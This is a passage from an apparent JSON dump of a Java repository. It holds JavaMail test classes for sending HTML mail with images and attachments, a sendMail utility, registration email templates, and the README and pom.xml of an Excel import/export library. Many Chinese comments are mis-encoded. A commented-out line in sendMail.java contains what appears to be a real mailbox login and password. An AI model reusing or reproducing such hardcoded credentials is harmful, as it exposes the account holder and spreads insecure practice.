resource = new MimeBodyPart();  // ��Դ\n\t\t// ��������Դ���õ������ʼ���\n\t\tmul.addBodyPart(content);\n\t\tmul.addBodyPart(resource);\n\t\t\n\t\t//---- �����ʼ���Դ------\n\t\tString path = this.getClass().getResource(\"1.jpg\").getPath();\n\t\t\n\t\tFile file = new File(path);\n\t\tDataSource ds = new FileDataSource(file); \n\t\tDataHandler handler = new DataHandler(ds);\n\t\tresource.setDataHandler(handler);  // ���������Դ\n\t\tresource.setContentID(\"1.jpg\");  // ͼƬ��Դ���ʼ��е����\n\t\t\n\t\t//---- �����ʼ�����------\n\t\tcontent.setContent(\"<img src='cid:1.jpg' />�����ʼ����㿴ͼƬ��\", \"text/html;charset=UTF-8\");\n\t\t\n\t\t// 1.2 �Ѹ����ʼ������õ��ʼ�������(message)��\n\t\tmessage.setContent(mul);\n\t\t\n\t\tmessage.saveChanges(); // �����ʼ�\n\t\t//4. �ʼ�����\n\t\tTransport trans = session.getTransport();\n\t\ttrans.connect(\"zhangsan\", \"888\"); // ָ�����ӷ����˵��û�����\n\t\ttrans.sendMessage(message, message.getAllRecipients());\n\t\ttrans.close();// �Ͽ�����\n\t}\n\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/Mail_3_imgAndAtta.java",
    "content": "\n\nimport java.io.File;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeMessage.RecipientType;\n\nimport org.junit.Test;\n\n/**\n * ��ͼƬ��Դ���ʼ� + ����\n * @author Wujun\n *\n */\npublic class Mail_3_imgAndAtta {\n\n\t@Test\n\tpublic void testMail() throws Exception {\n\t\n\t\t// ���������ʼ��������Ĳ���\n\t\tProperties prop = new Properties();\n\t\tprop.put(\"mail.transport.protocol\", \"smtp\");\t// ָ��Э��\n\t\tprop.put(\"mail.smtp.host\", \"localhost\");\t\t// ����   stmp.qq.com\n\t\tprop.put(\"mail.smtp.port\", 25);\t\t\t\t\t// �˿�\n\t\tprop.put(\"mail.smtp.auth\", \"true\");\t\t\t\t// �û�������֤\n\t\tprop.put(\"mail.debug\", \"true\");\t\t\t\t\t// ����ģʽ\n\t\t\n\t\t//1. �����Ự\n\t\tSession session = Session.getDefaultInstance(prop);\n\t\t//2. �����ʼ�����\n\t\tMimeMessage message = new MimeMessage(session);\n\t\t//3. �����ʼ�����\n\t\tmessage.setSender(new InternetAddress(\"zhangsan@itcast.com\"));\n\t\tmessage.setRecipient(RecipientType.TO, new InternetAddress(\"lisi@itcast.com\"));\n\t\tmessage.setSubject(\"��ͼƬ���ʼ�\");\n\t\tmessage.setSentDate(new Date());\n\t\t//message.setText(\"<a href='#'>�ٶ�<a/>\");\n\t\t\n\t\t/*************�������ʼ���***************/\n\t\tMimeMultipart all = new MimeMultipart(\"mixed\");\n\t\t// ������ + ͼƬ��Դ����  �� ��������\n\t\tMimeBodyPart left = new MimeBodyPart();\n\t\tMimeBodyPart right = new MimeBodyPart();\n\t\t// ����\n\t\tall.addBodyPart(left);\n\t\tall.addBodyPart(right);\n\t\t//�����ʼ���, ���õ��ʼ�����\n\t\tmessage.setContent(all);\n\t\t\n\t\t// ���� ���ʼ�����Ҳ࣬  ������\n\t\tString path_ = this.getClass().getResource(\"a.docx\").getPath();\n\t\tFile file_ = new File(path_);\n\t\tDataSource file_ds = new FileDataSource(file_);\n\t\tDataHandler file_handler = new DataHandler(file_ds);\n\t\tright.setDataHandler(file_handler);\n\t\tright.setFileName(\"a.docx\");  // ��������ʾ���ļ���\n\t\t\n\t\t\n\t\t/**************1. �ʼ�����ͼƬ��Դ********************/\n\t\t// 1.1 �����������ʼ���\n\t\tMimeMultipart mul = new MimeMultipart(\"related\");\n\t\t// �ʼ���related  = ���� +  ��Դ\n\t\tMimeBodyPart content = new MimeBodyPart(); // ����\n\t\tMimeBodyPart resource = new MimeBodyPart();  // ��Դ\n\t\t// ��������Դ���õ������ʼ���\n\t\tmul.addBodyPart(content);\n\t\tmul.addBodyPart(resource);\n\t\t//message.setContent(mul);\n\t\tleft.setContent(mul);\t\t\n\t\t\n\t\t\n\t\t//---- �����ʼ���Դ------\n\t\tString path = this.getClass().getResource(\"1.jpg\").getPath();\n\t\t\n\t\tFile file = new File(path);\n\t\tDataSource ds = new FileDataSource(file); \n\t\tDataHandler handler = new DataHandler(ds);\n\t\tresource.setDataHandler(handler);  // ���������Դ\n\t\tresource.setContentID(\"1.jpg\");  // ͼƬ��Դ���ʼ��е����\n\t\t\n\t\t//---- �����ʼ�����------\n\t\tcontent.setContent(\"<img src='cid:1.jpg' />�����ʼ����㿴ͼƬ��\", \"text/html;charset=UTF-8\");\n\t\t\n\t\t\n\t\t\n\t\tmessage.saveChanges(); // �����ʼ�\n\t\t//4. �ʼ�����\n\t\tTransport trans = session.getTransport();\n\t\ttrans.connect(\"zhangsan\", \"888\"); // ָ�����ӷ����˵��û�����\n\t\ttrans.sendMessage(message, message.getAllRecipients());\n\t\ttrans.close();// �Ͽ�����\n\t}\n\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/com/jun/plugin/me/MyEmailTest.java",
    "content": "package com.jun.plugin.me;\n\nimport com.jun.plugin.plugin.me.MyEmail;\nimport com.jun.plugin.plugin.me.SendMailException;\n//import jetbrick.template.JetEngine;\n//import jetbrick.template.JetTemplate;\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport static com.jun.plugin.plugin.me.MyEmail.SMTP_ENT_QQ;\nimport static com.jun.plugin.plugin.me.MyEmail.SMTP_QQ;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.StringWriter;\nimport java.io.Writer;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 发送邮件测试\n *\n * @author biezhi\n * 2017/5/30\n */\npublic class MyEmailTest {\n\n    // 该邮箱修改为你需要测试的邮箱地址\n    private static final String TO_EMAIL = \"xiaojiejie@gmail.com\";\n\n    @Before\n    public void before() {\n        // 配置，一次即可\n        MyEmail.config(SMTP_QQ(false), \"xxx@qq.com\", \"*******\");\n        // 如果是企业邮箱则使用下面配置\n        MyEmail.config(SMTP_ENT_QQ(false), \"xxx@qq.com\", \"*******\");\n    }\n\n    @Test\n    public void testSendText() throws SendMailException {\n        MyEmail.subject(\"这是一封测试TEXT邮件\")\n                .from(\"小姐姐的邮箱\")\n                .to(TO_EMAIL)\n                .text(\"信件内容\")\n                .send();\n        Assert.assertTrue(true);\n    }\n\n    @Test\n    public void testSendHtml() throws SendMailException {\n        MyEmail.subject(\"这是一封测试HTML邮件\")\n                .from(\"小姐姐的邮箱\")\n                .to(TO_EMAIL)\n                .html(\"<h1 font=red>信件内容</h1>\")\n                .send();\n        Assert.assertTrue(true);\n    }\n\n    @Test\n    public void testSendAttach() throws SendMailException {\n        MyEmail.subject(\"这是一封测试附件邮件\")\n                .from(\"小姐姐的邮箱\")\n                .to(TO_EMAIL)\n                .html(\"<h1 font=red>信件内容</h1>\")\n                .attach(new File(\"/Users/biezhi/Downloads/hello.jpeg\"), \"测试图片.jpeg\")\n                .send();\n        Assert.assertTrue(true);\n    }\n\n    @Test\n    public void testSendAttachURL() throws SendMailException, MalformedURLException {\n        MyEmail.subject(\"这是一封测试网络资源作为附件的邮件\")\n                .from(\"小姐姐的邮箱\")\n                .to(TO_EMAIL)\n                .html(\"<h1 font=red>信件内容</h1>\")\n                .attachURL(new URL(\"https://avatars1.githubusercontent.com/u/2784452?s=40&v=4\"), \"测试图片.jpeg\")\n                .send();\n        Assert.assertTrue(true);\n    }\n\n//    @Test\n//    public void testPebble() throws IOException, PebbleException, SendMailException {\n//        PebbleEngine   engine           = new PebbleEngine.Builder().build();\n//        PebbleTemplate compiledTemplate = engine.getTemplate(\"register.html\");\n//\n//        Map<String, Object> context = new HashMap<String, Object>();\n//        context.put(\"username\", \"biezhi\");\n//        context.put(\"email\", \"admin@biezhi.me\");\n//\n//        Writer writer = new StringWriter();\n//        compiledTemplate.evaluate(writer, context);\n//\n//        String output = writer.toString();\n//        System.out.println(output);\n//\n//        MyEmail.subject(\"这是一封测试Pebble模板邮件\")\n//                .from(\"小姐姐的邮箱\")\n//                .to(TO_EMAIL)\n//                .html(output)\n//                .send();\n//        Assert.assertTrue(true);\n//    }\n\n//    @Test\n//    public void testJetx() throws SendMailException {\n//        JetEngine   engine   = JetEngine.create();\n//        JetTemplate template = engine.getTemplate(\"/register.jetx\");\n//\n//        Map<String, Object> context = new HashMap<String, Object>();\n//        context.put(\"username\", \"biezhi\");\n//        context.put(\"email\", \"admin@biezhi.me\");\n//        context.put(\"url\", \"<a href='http://biezhi.me'>https://biezhi.me/active/asdkjajdasjdkaweoi</a>\");\n//\n//        StringWriter writer = new StringWriter();\n//        template.render(context, writer);\n//        String output = writer.toString();\n//        System.out.println(output);\n//\n//        MyEmail.subject(\"这是一封测试Jetx模板邮件\")\n//                .from(\"小姐姐的邮箱\")\n//                .to(TO_EMAIL)\n//                .html(output)\n//                .send();\n//        Assert.assertTrue(true);\n//    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/java/sendMail.java",
    "content": "\n\nimport java.util.*;\nimport javax.mail.*;\nimport javax.mail.internet.*;\nimport javax.activation.*;\n\npublic class sendMail {\n\n\tprivate MimeMessage mimeMsg; // MIME�ʼ�����\n\n\tprivate Session session; // �ʼ��Ự����\n\n\tprivate Properties props; // ϵͳ����\n\n\tprivate boolean needAuth = false; // smtp�Ƿ���Ҫ��֤\n\n\tprivate String username = \"\"; // smtp��֤�û���������\n\n\tprivate String password = \"\";\n\n\tprivate Multipart mp; // Multipart����,�ʼ�����,����,���������ݾ���ӵ����к�������MimeMessage����\n\n\tpublic sendMail(String smtp) {\n\t\tsetSmtpHost(smtp);\n\t\tcreateMimeMessage();\n\t}\n\n\t/**\n\t * @param hostName\n\t *            String\n\t */\n\tpublic void setSmtpHost(String hostName) {\n\t\tSystem.out.println(\"����ϵͳ���ԣ�mail.smtp.host = \" + hostName);\n\t\tif (props == null)\n\t\t\tprops = System.getProperties(); // ���ϵͳ���Զ���\n\n\t\tprops.put(\"mail.smtp.host\", hostName); // ����SMTP����\n\t}\n\n\t/**\n\t * @return boolean\n\t */\n\tpublic boolean createMimeMessage() {\n\t\ttry {\n\t\t\tSystem.out.println(\"׼����ȡ�ʼ��Ự����\");\n\t\t\tsession = Session.getDefaultInstance(props, null); // ����ʼ��Ự����\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"��ȡ�ʼ��Ự����ʱ��������\" + e);\n\t\t\treturn false;\n\t\t}\n\n\t\tSystem.out.println(\"׼������MIME�ʼ�����\");\n\t\ttry {\n\t\t\tmimeMsg = new MimeMessage(session); // ����MIME�ʼ�����\n\t\t\tmp = new MimeMultipart();\n\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"����MIME�ʼ�����ʧ�ܣ�\" + e);\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param need\n\t *            boolean\n\t */\n\tpublic void setNeedAuth(String need) {\n\t\tSystem.out.println(\"����smtp�����֤��mail.smtp.auth = \" + need);\n\t\tif (props == null)\n\t\t\tprops = System.getProperties();\n\n\t\tif (need.equals(\"true\")) {\n\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\n\t\t} else {\n\t\t\tprops.put(\"mail.smtp.auth\", \"false\");\n\t\t}\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic void setNamePass(String name, String pass) {\n\t\tusername = name;\n\t\tpassword = pass;\n\t}\n\n\t/**\n\t * @param mailSubject\n\t *            String\n\t * @return boolean\n\t */\n\tpublic boolean setSubject(String mailSubject) {\n\t\tSystem.out.println(\"�����ʼ����⣡\");\n\t\ttry {\n\t\t\tmimeMsg.setSubject(mailSubject);\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"�����ʼ����ⷢ������\");\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param mailBody\n\t *            String\n\t */\n\tpublic boolean setBody(String mailBody) {\n\t\ttry {\n\t\t\tBodyPart bp = new MimeBodyPart();\n\t\t\tbp.setContent(\"\" + mailBody, \"text/html;charset=GB2312\");\n\t\t\tmp.addBodyPart(bp);\n\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"�����ʼ�����ʱ��������\" + e);\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic boolean addFileAffix(String[] filenameArry) {\n\n\t\tSystem.out.println(\"�����ʼ�������\" + filenameArry.toString());\n\t\ttry {\n\t\t\tBodyPart bp = new MimeBodyPart();\n\t\t\tfor (String filename : filenameArry) {\n\t\t\t\tFileDataSource fileds = new FileDataSource(filename);\n\t\t\t\tbp.setDataHandler(new DataHandler(fileds));\n\t\t\t\tbp.setFileName(fileds.getName());\n\t\t\t\tmp.addBodyPart(bp);\n\t\t\t}\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"�����ʼ�������\" + filenameArry.toString() + \"��������\" + e);\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic boolean setFrom(String from) {\n\t\tSystem.out.println(\"���÷����ˣ�\");\n\t\ttry {\n\t\t\tmimeMsg.setFrom(new InternetAddress(from)); // ���÷�����\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic boolean setTo(String to) {\n\t\tif (to == null)\n\t\t\treturn false;\n\t\ttry {\n\t\t\tmimeMsg.setRecipients(Message.RecipientType.TO, (Address[]) InternetAddress.parse(to));\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic boolean setCopyTo(String copyto) {\n\t\tif (copyto == null)\n\t\t\treturn false;\n\t\ttry {\n\t\t\tmimeMsg.setRecipients(Message.RecipientType.CC, (Address[]) InternetAddress.parse(copyto));\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic boolean setBCopyTo(String copyto) {\n\t\tif (copyto == null)\n\t\t\treturn false;\n\t\ttry {\n\t\t\tmimeMsg.setRecipients(Message.RecipientType.BCC, (Address[]) InternetAddress.parse(copyto));\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * @param name\n\t *            String\n\t * @param pass\n\t *            String\n\t */\n\tpublic boolean sendout() {\n\t\ttry {\n\t\t\tmimeMsg.setContent(mp);\n\t\t\tmimeMsg.saveChanges();\n\t\t\tSystem.out.println(\"���ڷ����ʼ�....\");\n\n\t\t\tSession mailSession = Session.getInstance(props, null);\n\t\t\tTransport transport = mailSession.getTransport(\"smtp\");\n\t\t\ttransport.connect((String) props.get(\"mail.smtp.host\"), username, password);\n\t\t\ttransport.sendMessage(mimeMsg, mimeMsg.getRecipients(Message.RecipientType.TO));\n\t\t\t// transport.send(mimeMsg);\n\t\t\ttransport.sendMessage(mimeMsg, mimeMsg.getRecipients(Message.RecipientType.CC));\n\t\t\ttransport.sendMessage(mimeMsg, mimeMsg.getRecipients(Message.RecipientType.BCC));\n\t\t\tSystem.out.println(\"�����ʼ��ɹ���\");\n\t\t\ttransport.close();\n\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"�ʼ�����ʧ�ܣ�\" + e);\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * Just do it as this\n\t */\n\tpublic static void main(String[] args) {\n\n\t\tResourceBundle rb = ResourceBundle.getBundle(\"mail\", Locale.CHINA);\n\n\t\t// String mailbody = \"��ã�����JavaMail��\";\n\t\tString mailbody = rb.getString(\"mailbody\");\n\t\tString smtpServer = rb.getString(\"smtpServer\");\n\t\tString smtpAuth = rb.getString(\"smtpAuth\");\n\t\tString sendTo = rb.getString(\"sendTo\");\n\t\tString sendCC = rb.getString(\"sendCC\");\n\t\tString sendBCC = rb.getString(\"sendBCC\");\n\t\tString sendSubject = rb.getString(\"sendSubject\");\n\t\tString sendFrom = rb.getString(\"sendFrom\");\n\t\tString sendFile = rb.getString(\"sendFile\");\n\t\tString sendUser = rb.getString(\"sendUser\");\n\t\tString sendPasswd = rb.getString(\"sendPasswd\");\n\t\t// sendMail themail = new sendMail(\"smtp.139.com\");\n\n\t\tsendMail themail = new sendMail(smtpServer);\n\n\t\tthemail.setNeedAuth(smtpAuth);\n\n\t\t// if (themail.setSubject(\"����\") == false)\n\t\tif (themail.setSubject(sendSubject) == false)\n\t\t\treturn;\n\t\tif (themail.setBody(mailbody) == false)\n\t\t\treturn;\n\t\t// if (themail.setTo(\"15034062439@139.com\") == false)\n\t\tif (themail.setTo(sendTo) == false)\n\t\t\treturn;\n\t\t// if (themail.setCopyTo(\"zhanghongqiang_321@163.com\") == false)\n\t\tif (themail.setCopyTo(sendCC) == false)\n\t\t\treturn;\n\t\t// if (themail.setBCopyTo(\"421044319@qq.com\")== false)\n\t\tif (themail.setBCopyTo(sendBCC) == false)\n\t\t\treturn;\n\t\t// if (themail.setFrom(\"15034062439@139.com\") == false)\n\t\tif (themail.setFrom(sendFrom) == false)\n\t\t\treturn;\n\t\t// if (themail.addFileAffix(\"d:\\\\chart.xls\") == false)\n\t\t// return;\n\t\tString[] file_arry = sendFile.split(\",\");\n\t\tif (themail.addFileAffix(file_arry) == false)\n\t\t\treturn;\n\t\t// themail.setNamePass(\"15034062439@139.com\", \"map3084344\");\n\t\tthemail.setNamePass(sendUser, sendPasswd);\n\n\t\t// �����ʼ����û��������루���Լ�������û���������,�κε����䣬��163���䣬smtp��������ַΪ��smtp.163.com,�û��������������163ע����û��������룩\n\n\t\tif (themail.sendout() == false)\n\t\t\treturn;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/resources/register.html",
    "content": "<div>\n\t<p>亲爱的<b>{{ username }}</b>, 欢迎加入 biezhi !</p>\n  \t<p>当您收到这封信的时候，您已经可以正常登录了。</p>\n  \t<p>请点击链接登录首页: <a href='http://www.baidu.com'>http://biezhi.me/xxxxx</a></p>\n  \t<p>如果您的 email 程序不支持链接点击，请将上面的地址拷贝至您的浏览器(如IE)的地址栏进入。</p>\n  \t<p>如果您还想申请管理员权限，可以联系管理员 {{ email }}</p>\n  \t<p>我们对您产生的不便，深表歉意。</p>\n  \t<p>希望您在 biezhi 系统度过快乐的时光!</p>\n  \t<p></p>\n  \t<p>-----------------------</p>\n  \t<p></p>\n  \t<p>(这是一封自动产生的email，请勿回复。)</p>\n</div>"
  },
  {
    "path": "jun_java_plugins/jun_email/src/test/resources/register.jetx",
    "content": "<div>\n\t<p>亲爱的<b>${username}</b>, 欢迎加入 biezhi!</p>\n  \t<p>当您收到这封信的时候，您已经可以正常登录了。</p>\n  \t<p>请点击链接登录首页: ${url}</p>\n  \t<p>如果您的 email 程序不支持链接点击，请将上面的地址拷贝至您的浏览器(如IE)的地址栏进入。</p>\n  \t<p>如果您还想申请管理员权限，可以联系管理员 ${email}</p>\n  \t<p>我们对您产生的不便，深表歉意。</p>\n  \t<p>希望您在 biezhi 系统度过快乐的时光!</p>\n  \t<p></p>\n  \t<p>-----------------------</p>\n  \t<p></p>\n  \t<p>(这是一封自动产生的email，请勿回复。)</p>\n</div>"
  },
  {
    "path": "jun_java_plugins/jun_excel/README.md",
    "content": "# jun_excel 快速简单读取excel数据，将Apache POI进行了薄封装，基于注解，更加易于使用\n\n\n快速简单读取excel数据，将Apache POI进行了薄封装，基于注解，更加易于使用<br>\n\n###使用样例\n```java\nFastExcel fastExcel = new FastExcel(\"E:/data.xlsx\");\n        fastExcel.setSheetName(\"活动信息数据\");\n        List<MyTest> tests = fastExcel.parse(MyTest.class);\n        if(null != tests && !tests.isEmpty()) {\n            for(MyTest myTest : tests) {\n                LOG.debug(\"记录:{}\", myTest.toString());\n            }\n        } else {\n            LOG.debug(\"没有结果\");\n        }\n```\n\n###映射类\n```java\n public class MyTest {\n\n    @MapperCell(cellName = \"名称\")\n    private String name;\n\n    @MapperCell(cellName = \"联系电话\")\n    private String phone;\n\n    @MapperCell(cellName = \"地址\")\n    private String address;\n\n    @MapperCell(cellName = \"一级分类ID\")\n    private int type;\n\n    @MapperCell(cellName = \"经度\")\n    private double lat;\n\n}\n```\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/.gitignore",
    "content": "# Compiled class file\n*.class\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.nar\n*.ear\n*.zip\n*.tar.gz\n*.rar\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n\n*.iml\n.idea/\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/README.md",
    "content": "# sanri-excel-poi Excel 导入导出工具\n\nsanri-excel-poi 是一个开源的用于企业开发的 Excel 导入导出，在 2017 年完成第一版，已经在线上环境实验过两年。主要用于解决 Excel 导出麻烦 ，导出慢，及 Excel 导入数据的空行，空格，数字精度，日期转换，Excel 公式 等问题。\n\n博客地址：https://blog.csdn.net/sanri1993/article/details/100601578\n\njavaDoc：https://apidoc.gitee.com/sanri/sanri-excel-poi\n\n-----\n\n## 优势\n\n1. 支持 Excel 公式 \n2. 导入的时候空行问题\n3. 导入数据去前后空格\n4. 继承类也可以导出数据\n5. 完美的支持日期格式的导入导出\n6. 数字为浮点型的精度处理\n7. 完美解决导出时的中文列宽问题\n8. 可自定义列的顺序\n9. 增加列转化器\n\n## 快速上手\n\n* 引入 maven 依赖\n\n```xml\n<dependency>\n    <groupId>com.sanri.excel</groupId>\n    <artifactId>sanri-excel-poi</artifactId>\n    <version>1.0-RELEASE</version>\n</dependency>\n```\n\n目前需要自己下载代码来构建，或下载已经构建好的 release 包 ：\nhttps://github.com/sanri1993/sanri-excel-poi/releases/tag/v1.0-RELEASE\n\n* 还需要添加第三方依赖，如果项目中已经存在依赖，请忽略。(真实项目一般都是有依赖的)\n\n```xml\n<!-- Excel poi  -->\n<dependency>\n    <groupId>org.apache.poi</groupId>\n    <artifactId>poi</artifactId>\n    <version>3.10-FINAL</version>\n</dependency>\n<dependency>\n    <groupId>org.apache.poi</groupId>\n    <artifactId>poi-ooxml</artifactId>\n    <version>3.10-FINAL</version>\n</dependency>\n\n<!--apache commons -->\n<dependency>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-lang3</artifactId>\n    <version>3.8.1</version>\n</dependency>\n<dependency>\n    <groupId>commons-io</groupId>\n    <artifactId>commons-io</artifactId>\n    <version>2.6</version>\n</dependency>\n<dependency>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-csv</artifactId>\n    <version>1.2</version>\n</dependency>\n\n<!-- slf4j -->\n<dependency>\n    <groupId>log4j</groupId>\n    <artifactId>log4j</artifactId>\n    <version>1.2.17</version>\n</dependency>\n<dependency>\n    <groupId>org.slf4j</groupId>\n    <artifactId>slf4j-log4j12</artifactId>\n    <version>1.7.21</version>\n</dependency>\n```\n\n* 最简单的导出示例\n\n```java\n// 定义导出实体\n@ExcelExport\n@Data\npublic class Simple {\n    @ExcelColumn(value = \"姓名\",order = 0)\n    private String name;\n}\n\n//获取数据\nList<Simple> datas = new ArrayList();\ndatas.add(new Simple());\n\n//导出Excel \nExcelExportWriter excelExportWriter = new ExcelExportWriter(Simple.class);\nexcelExportWriter.export(simpleList);\t\t//这一步只是生成了 Workbook 的数据，还需要用户来决定输出到哪\n//写到文件流\nexcelExportWriter.writeTo(new FileOutputStream(\"d:/test/\"+System.currentTimeMillis()+\".xlsx\"));\n//或写到响应流\nexcelExportWriter.writeTo(response.getOutputStream());\n```\n\n `order` 属性在导出不存在问题，但如果**使用导入下标必须从 0 开始**\n\n\n\n* 最简单的导入示例\n\n```java\n// 定义导入实体\n@ExcelImport(startRow = 1)\n@Data\npublic class Simple {\n    @ExcelColumn(value = \"姓名\",order = 0)\n    private String name;\n}\n\n//获取输入流\nInputStream fileInputStream = new FileInputStream(\"simple.xlsx\");\n//创建错误行处理器，可以使用默认收集处理器\n ErrorRowHandler collectErrorRowHandler = new CollectErrorRowHandler();\n //导入数据\nList<Simple> simples = ExcelImportUtil.importData(fileInputStream, Simple.class,collectErrorRowHandler);\n```\n\n-----\n\n## 配置你的导入导出\n\n### 注解 @ExcelExport 相关配置\n\n```java\n// Excel 导出版本，可选值 ExcelVersion.EXCEL2007,ExcelVersion.EXCEL2003\nExcelVersion version() default ExcelVersion.EXCEL2007;\n\n// 当导出有设置标题时，设置标题行的高度\nshort titleRowHeight() default 40;\n\n// 头部行的高度，即列说明行的高度 \nshort headRowHeight() default 30;\n\n// 每一行数据的高度\nshort bodyRowHeight() default 25;\n\n// 是否自动宽度，Excel 的自动宽度对中文支持不好，我这里对中文宽度做了适应\nboolean autoWidth() default true;\n\n// 一个 sheet 页的最大数据量，设置 -1 表示不限制，2003 版本最大 60000 行；超过的行数会另起 sheet 页\nint sheetMaxRow() default -1;\n\n// 快速导出模式，使用  new SXSSFWorkbook(rowAccessWindowSize) workbook 对象 \nboolean fastModel() default true;\n\n// 快速导出模式的一个设置，一般默认就行\nint rowAccessWindowSize() default 1000;\n\n```\n\n### 注解 @ExcelImport 相关配置\n\n```java\n// 数据起始行，一般设置 1 就行，从 0 开始\nint startRow();\n\n// 支持导入的版本，默认都支持\nExcelVersion[] support() default {ExcelVersion.EXCEL2003,ExcelVersion.EXCEL2007};\n```\n\n\n\n### 列注解 @ExcelColumn 相关配置\n\n```java\n// 导出的中文头部列的值,导入不用管\nString value();\n// 导入的顺序，默认从 0 开始，导出不用管\nint order() default -1;\n\n\n// 宽度，Excel 宽度单元\nint width() default -1;\n// 使用字符数来定义宽度，一个中文算一个字符\nint charWidth() default -1;\n// 使用像素值来定义宽度\nint pxWidth() default -1;\n// 在使用自动宽度的时候，标记当前列是中文列\nboolean chineseWidth() default false;\n\n// 导出是否隐藏当前列\nboolean hidden() default false;\n// 导入的时候对当前列做字符串前后空格过滤 \nboolean trim() default true;\n// 导出的时候的单元格类型，可选值有CELL_TYPE_NUMERIC,CELL_TYPE_STRING,CELL_TYPE_BLANK,CELL_TYPE_BOOLEAN\nCellType cellType() default CellType.CELL_TYPE_STRING;\n\n// 导入、导出日期格式\nString pattern() default \"yyyy-MM-dd\";\n// 导入、导出的数字精度设置,会对浮点型做处理\nint precision() default -1;\n```\n\n\n\n## 更新记录\n\n### 更新于 2019/09/13\n\n- 增加错误行处理器，解决导入有错误行不能处理问题\n- 更新测试类"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.sanri.excel</groupId>\n    <artifactId>sanri-excel-poi</artifactId>\n    <version>1.1-RELEASE</version>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.apache.poi</groupId>\n            <artifactId>poi</artifactId>\n            <version>3.10-FINAL</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.poi</groupId>\n            <artifactId>poi-ooxml</artifactId>\n            <version>3.10-FINAL</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.8.1</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>2.6</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-csv</artifactId>\n            <version>1.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <version>1.2.17</version>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-log4j12</artifactId>\n            <version>1.7.21</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.12</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.30</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>sanri-excel-poi</finalName>\n\n        <resources>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.json</include>\n                    <include>**/*.string</include>\n                </includes>\n                